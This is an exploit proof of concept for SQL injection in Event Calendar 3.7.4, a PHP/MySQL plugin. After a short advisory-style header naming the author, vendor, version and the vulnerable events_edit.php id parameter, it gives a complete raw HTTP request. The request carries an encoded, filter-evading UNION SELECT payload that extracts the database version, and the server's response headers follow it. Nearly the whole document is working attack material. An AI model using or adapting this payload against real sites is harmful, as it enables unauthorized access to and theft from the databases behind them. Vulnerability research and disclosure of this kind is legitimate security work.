Event Calendar 3.7.4 SQL Injection

`# Exploit Title: Event Calendar 3.7.4 - SQL Injection  
# Dork: N/A  
# Date: 2019-01-10  
# Exploit Author: Ihsan Sencan  
# Vendor Homepage: http://ezcode.pt/  
# Software Link: https://codecanyon.net/item/event-calendar-phpmysql-plugin/19246267  
# Version: 3.7.4  
# Category: Webapps  
# Tested on: WiN7_x64/KaLiLinuX_x64  
# CVE: N/A  
  
# POC:   
# 1)   
# http://localhost/[PATH]/events_edit.php?id=[SQL]  
#   
  
GET /[PATH]/events_edit.php?id=%2d%31%30%33%31%27%20%2f%2a%21%31%31%31%311%55%4e%49%4f%4e%20%2a%2f%2f%2a!11111SELE%43%54%2a%2f%20%31%2c%32%2c%33%2c%76%65%72%73%69%6f%6e%28%29%2c%35%2c%36%2c%37,8--%20- HTTP/1.1  
Host: TARGET  
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
Cookie: PHPSESSID=84955lhp1purfrvdrvhs7a00q2; EU_COOKIE_LAW_CONSENT=true  
DNT: 1  
Connection: keep-alive  
Upgrade-Insecure-Requests: 1  
HTTP/1.1 200 OK  
Date: Wed, 09 Jan 2019 23:31:12 GMT  
Server: Apache  
X-Powered-By: PHP/5.5.38  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0  
Pragma: no-cache  
Upgrade: h2,h2c  
Connection: Upgrade, Keep-Alive  
Keep-Alive: timeout=5, max=100  
Transfer-Encoding: chunked  
Content-Type: text/html; charset=utf-8  
  
  
`